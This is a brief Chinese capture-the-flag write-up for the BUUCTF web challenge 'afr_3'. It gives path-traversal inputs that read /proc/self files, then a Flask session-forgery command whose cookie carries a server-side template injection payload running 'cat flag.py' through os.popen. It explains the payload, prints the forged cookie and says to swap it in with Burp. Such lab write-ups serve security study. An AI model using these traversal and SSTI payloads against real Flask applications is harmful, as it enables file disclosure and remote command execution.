(一)BUUCTF web afr_3 考察linux中/proc/目录的理解,以及flash模板注入
(1)name=../../../../../proc/self/cmdline
(2)name=../../../../../proc/self/cwd/server.py (最后的py文件可以改变)
(二)BUUCTF afr_3 使用的是文件路径穿越漏洞,可以通过以上两行代码,查询到flag文件,
使用python3 ./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{''.class.mro[2].subclasses()[71].init.globals['os'].popen('cat flag.py').read()}}'}" 进行伪造。
这个命令看起来是在使用 Flask Session Cookie Manager 工具来对会话数据进行编码。具体来说,它执行了以下操作:
1、使用 flask_session_cookie_manager3.py 脚本。
2、使用 encode 子命令表示要对会话数据进行编码。
3、使用 -s 选项指定会话密钥,这里是 "Drmhze6EPcv0fN_81Bj-nA"。
4、使用 -t 选项指定要编码的会话数据,这里是一个 Python 字典作为字符串,其中包含了一个键值对,键为 "n1code",值为一个特定的 Python 表达式。
5、这个 Python 表达式的目的是读取名为 flag.py 的文件的内容,并将其作为字符串返回。具体来说,它使用了 Python 中的一些特性,包括 .__class__.__mro__ 来获取类的方法解析顺序(Method Resolution Order, MRO)、__subclasses__() 来获取所有子类、__init__.__globals__ 来获取全局变量等。
6、这个命令看起来是在尝试利用 Python 的一些特性来读取 flag.py 文件的内容,并将其嵌入到会话数据中,以便在应用程序中进行处理或者传输。
(三)命令在kali中进行以下操作:
得到
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.Zh9zPA.wjAKLeMY50OWw1VaBKLq5IY8v7Y
(四)在bp进行拦截,对session进行修改。
得到flag。